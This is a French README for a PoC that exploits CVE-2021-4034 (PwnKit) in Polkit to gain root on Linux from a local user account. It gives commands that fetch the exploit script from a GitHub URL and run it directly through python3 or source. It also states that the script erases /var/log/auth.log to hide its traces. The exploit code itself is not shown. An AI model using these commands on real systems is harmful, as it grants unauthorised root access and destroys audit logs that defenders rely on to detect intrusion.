
Un PoC en python3 et bash pour CVE-2021-4034 par Kim Schulz
██████╗ ██╗ ██╗██╗ ██╗███╗ ██╗███████╗██████╗
██╔══██╗██║ ██╔╝██║ ██║████╗ ██║██╔════╝██╔══██╗
██████╔╝█████╔╝ ██║ █╗ ██║██╔██╗ ██║█████╗ ██████╔╝
██╔═══╝ ██╔═██╗ ██║███╗██║██║╚██╗██║██╔══╝ ██╔══██╗
██║ ██║ ██╗╚███╔███╔╝██║ ╚████║███████╗██║ ██║
╚═╝ ╚═╝ ╚═╝ ╚══╝╚══╝ ╚═╝ ╚═══╝╚══════╝╚═╝ ╚═╝
Un PoC en Python3 et en BASH pour CVE-2021-4034 par Kim Schulz
Ceci est un PoC simple pour l'erreur Polkit récemment découverte nommée PwnKit.
Je l'ai réalisé à la fois en script bash et en script python3 — juste pour le plaisir.
Le problème est très simple à exploiter mais a des conséquences énormes car il permet facilement d'obtenir un accès root sur la plupart des machines Linux où l'attaquant dispose d'un accès utilisateur local.
Ces scripts sont à exécution unique, il suffit donc de faire
python3 pkwner.py
ou
bash pkwner.sh
Vous pouvez également l'exécuter directement depuis un serveur web (par exemple ce dépôt GitHub) via :
python3 <(curl https://raw.githubusercontent.com/kimusan/pkwner/main/pkwner.py)
ou
source <(curl -s https://raw.githubusercontent.com/kimusan/pkwner/main/pkwner.sh))
Dans les deux cas, cela devrait ressembler à ceci :
et

Le script créera certains fichiers et dossiers mais fera le ménage après lui-même une fois le shell root ouvert — il nettoiera même le fichier /var/log/auth.log (et pourquoi pas).